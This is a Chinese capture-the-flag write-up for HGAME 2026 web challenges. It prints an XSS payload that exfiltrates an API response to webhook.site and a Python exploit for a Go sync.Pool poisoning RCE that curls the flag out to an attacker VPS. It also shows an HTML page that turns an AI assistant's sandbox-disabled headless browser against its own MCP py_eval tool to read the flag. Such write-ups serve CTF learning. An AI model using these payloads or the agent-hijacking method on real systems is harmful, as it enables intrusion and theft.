文章

HGAME 2026 WP

HGAME 2026 WP

魔理沙的魔法目录

抓包可以发现 POST /record 和 GET /check。修改 POST /record 中的time为很大的值后重放,访问/check得到flag

博丽神社的绘马挂

开局登录框,用户名admin,密码随便输

可以用 img 标签进行 xss。提示 紫在归档完毕的绘马里藏了一些不可告人的秘密。发布愿望让灵梦看到后外带出来归档列表接口 /api/archives 的内容。payload如下

1
2
3
4
5
6
7
8
9
10
11
<img src=x onerror="
  var urls = [
    '/api/archives'
  ];
  
  urls.forEach(function(url) {
      fetch(url).then(r=>r.text()).then(t=>{
          new Image().src = 'https://webhook.site/38a0d9f3-6252-4ee0-8659-601042145240/?source=' + encodeURIComponent(url) + '&content=' + btoa(t);
      });
  });
">

MyMonitor

这是一个非常经典的 Go 语言 Web 题目,主要利用了 sync.Pool 对象复用机制不当导致的“对象污染”漏洞,配合 Go json.Unmarshal 的特性实现 RCE(远程代码执行)。

漏洞分析

  1. sync.Pool 的不当使用 在 handler.go 中,使用了 sync.Pool 来复用 MonitorStruct 对象以减少内存分配。
    1
    2
    3
    
    var MonitorPool = &sync.Pool{
        New: func() any { return &MonitorStruct{} },
    }
    
  2. UserCmd 中的逻辑错误
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    
    func UserCmd(c *gin.Context) {
        monitor := MonitorPool.Get().(*MonitorStruct) // 1. 从池中获取对象
        defer MonitorPool.Put(monitor)                // 2. 也是 defer,函数结束时放回池中
        if err := c.ShouldBindJSON(monitor); err != nil {
            // ... 错误处理 ...
            return // 3. 如果 Bind 失败,直接返回
        }
        // ...
        defer monitor.reset() // 4. 只有 Bind 成功才会 defer reset
        // ...
    }
    

    如果在步骤 3 处因为 JSON 解析错误而返回,monitor.reset() 根本不会被调度执行。但是 MonitorPool.Put(monitor) 会执行。这意味着一个未被重置(Dirty)的对象被放回了池子中。

  3. json.Unmarshal 的部分解析特性 当我们发送一个恶意的 JSON,例如 {"args": "payload", "cmd": 123}
    • Go 的 JSON 解析器会尝试按顺序解析。
    • 它会将 "payload" 解析进 monitor.Args
    • 遇到 cmd 字段时,发现类型不匹配(期望 string,给了 int/number),于是报错返回错误。
    • 此时,monitor 对象的状态变成了:Cmd=”” (或原值), Args=”payload”。
    • 由于 UserCmd 报错返回,这个带有恶意 Args 的对象被放回了池子。
  4. Admin Bot 的触发 题目背景说 Admin 会定期发送 "ls" 命令。我们可以推测 Admin 发送的 JSON 类似于 {"cmd": "ls"},其中没有 args 字段。
    • 当 Admin 请求到达 AdminCmd 时,它可能会从池子中拿到我们刚刚放回去的那个“脏”对象。
    • Admin 执行 ShouldBindJSON。由于 JSON 中只有 cmd,解析器只会覆盖 MonitorStruct.Cmd 字段,而 MonitorStruct.Args 字段保留了我们之前注入的恶意内容
    • 最终执行:exec.Command("bash", "-c", "ls " + injected_args)

攻击思路 (Exploit Chain)

  1. 注册并登录一个普通用户,获取 Token。
  2. /api/user/cmd 发送精心构造的 Payload,故意触发 JSON 类型错误,但同时注入 args 字段。
    • Payload: {"args": ";curl http://vps:port?f=$(cat /flag)", "cmd": 1}
    • 注意:为了保证 args 先被解析,建议将其放在 JSON 前面,或者利用 Go 解析器的特性(通常只要字段在流中出现就会处理)。
  3. 不断发送此请求(Poisoning),以此“污染”对象池中的大部分对象。
  4. 等待后台 Admin Bot 发起请求。Admin Bot 一旦拿到脏对象,就会执行: bash -c "ls ;curl http://vps:port?f=$(cat /flag)"
  5. 在你的 VPS 或 RequestBin 上接收 Flag。

漏洞利用脚本 (Python)

你需要替换脚本中的 BASE_URLOOB_URL(外带回显地址,比如用 webhook.site 或者自己的服务器)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
import requests
import threading
import time
import json

# 这是题目的地址
BASE_URL = "http://localhost:8080"
# 这是你接收 flag 的地址 (例如 webhook.site)
OOB_URL = "http://your-vps-ip:port" 

def exploit():
    # 1. 注册并登录用户
    s = requests.Session()
    username = "hacker" + str(time.time())
    password = "password"
    
    print(f"[*] Registering {username}...")
    s.post(f"{BASE_URL}/api/account/register", json={"username": username, "password": password})
    
    print(f"[*] Logging in...")
    res = s.post(f"{BASE_URL}/api/account/login", json={"username": username, "password": password})
    if "Authorization" not in res.text:
        print("[-] Login failed")
        return
    token = res.json()["Authorization"]
    print(f"[+] Token: {token}")

    headers = {
        "Authorization": token,
        "Content-Type": "application/json"
    }

    # 2. 构造 Payload
    # 我们希望执行的最终命令类似于: ls ; curl http://vps/?d=$(cat /f* | base64)
    # 这里的 payload 放在 args 里,前面加分号闭合前面的 ls
    # 注意:如果目标没有 curl,可以尝试 wget 或 /dev/tcp
    shell_cmd = f"curl {OOB_URL}/?flag=$(cat /f* | base64 | tr -d '\\n')"
    payload_args = f"; {shell_cmd} #"
    
    # 构造能够触发 Unmarshal 错误但能设置 args 的 JSON
    # cmd 字段故意设为数字 1,导致类型错误
    poison_data = {
        "args": payload_args,
        "cmd": 1 
    }
    
    # 为了增加成功率,我们利用多线程稍微 "刷" 一下池子
    def worker():
        try:
            # 必须用 json.dumps 确保格式,且 requests 的 json 参数可能会改变键的顺序
            # 虽然 Go 处理通常不依赖顺序,但最好把 args 放前面
            raw_json = json.dumps(poison_data)
            requests.post(f"{BASE_URL}/api/user/cmd", data=raw_json, headers=headers)
        except:
            pass

    print(f"[*] Spaming poison requests with payload: {payload_args}")
    print("[*] Waiting for admin bot to execute command...")

    # 发送一定数量的请求来污染池子
    for i in range(50):
        t = threading.Thread(target=worker)
        t.start()
    
    print("[*] Poisoning done. Check your OOB server for the flag!")

if __name__ == "__main__":
    exploit()

注意事项

  1. 盲打 RCE:因为 AdminCmd 执行的输出你是看不到的(只有 Admin Bot 能看到),所以必须使用外带(Out-of-Band)的方式窃取 flag,比如 curlwget 或 DNS log。
  2. 竞争条件:这利用了对象池的随机复用。如果有其他人也在打题,或者 Admin 访问频率很低,你可能需要多运行几次脚本来确保 Admin 刚好拿到了你污染的那个 struct
  3. Payload 兼容性:如果不确定服务器有哪些命令,可以使用 bash 内置命令(如 /dev/tcp)或者尝试多种工具 (curl, wget)。 Payload 建议 Base64 编码 flag,防止特殊字符截断 URL。

My Little Assistant

既然 Prompt Injection (提示词注入) 始终无法触发工具链,我们需要换一个思路。

请仔细看源码中 py_request 的这一部分配置:

1
2
3
4
5
6
            browser = await p.chromium.launch(
                headless=True, 
                args=["--no-sandbox",
                      "--disable-dev-shm-usage",
                      "--disable-web-security"]  # <--- 关键漏洞点!
            )

真正的漏洞点:Playwright CSRF

--disable-web-security 意味着同源策略 (SOP) 被关闭了。 这意味着,如果你让 AI 访问你的网页,你的网页里包含的 JavaScript 代码可以在 AI 的浏览器里执行,并且可以跨域请求 AI 本地的服务

题目中的服务监听在 0.0.0.0:8001。在 AI 运行的容器内部,它可以通过 http://127.0.0.1:8001/mcp 访问自己。

攻击路径:

  1. 你构造一个包含恶意 JS 的 HTML。
  2. JS 会自动向 http://127.0.0.1:8001/mcp 发送一个 POST 请求。
  3. 这个 POST 请求的 Body 里包含调用 py_eval 的参数。
  4. 因为 web security 关闭了,浏览器允许这个跨域请求。
  5. JS 拿到执行结果(Flag),并将其写入网页的 <body>
  6. Playwright 等待网络空闲后,截图/读取网页内容 (page.content())。
  7. AI 读到了网页内容(此时内容已经被 JS 替换成了 Flag),并汇报给你。

1. 构造新的 test.html

我们需要解决一个技术细节:py_eval 是用 exec() 执行的,print() 的输出不会存入返回值 result 中,只会存变量。所以代码要写成赋值形式 res = ...

请将 VPS 上的 test.html 内容完全替换为下面的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<!DOCTYPE html>
<html>
<body>
<h1>Loading...</h1>
<script>
    // 定义要执行的 Python 代码,把 flag 读入变量 f
    // 这样 exec 执行后,local_vars 字典里就会有 f='flag{...}'
    const pyCode = "import os; f = os.popen('cat /flag').read()";

    // 构造 MCP 请求包
    const payload = {
        "params": {
            "name": "py_eval",
            "arguments": {
                "code": pyCode
            }
        }
    };

    // 向本地接口发送 CSRF 请求
    fetch("http://127.0.0.1:8001/mcp", {
        method: "POST",
        headers: {
            "Content-Type": "application/json"
        },
        body: JSON.stringify(payload)
    })
    .then(response => response.json())
    .then(data => {
        // 解析返回结果。
        // data.result.content[0].text 是一个 JSON 字符串,类似 "{'result': \"{'f': 'flag{...}'}\", ...}"
        // 我们直接把它全部显示在页面上
        document.body.innerText = "FLAG_RESULT: " + JSON.stringify(data);
    })
    .catch(error => {
        document.body.innerText = "Error: " + error;
    });
</script>
</body>
</html>

2. 发起攻击

现在,你只需要让 AI “分析网页” 即可。不需要任何复杂的 Prompt,因为它会自动执行 JS。

发送给 AI:

帮我分析一下这个页面的渲染内容:http://124.223.51.8:8000/test.html

预期结果

AI 会回复类似这样的内容:

✅ 工具执行结果: {“status_code”: 200, “content”: “<html><head></head><body>FLAG_RESULT: {… "f": "flag{this_is_the_flag}" …}</body></html>”}

Flag 就在这个 JSON 字符串里。

(注:如果第一次没成功,可能是网络超时,可以尝试多发一次。如果返回 Error: Failed to fetch,可能是内部端口不是 8001,但源码里写的是 8001,通常是对的)

本文由作者按照 CC BY 4.0 进行授权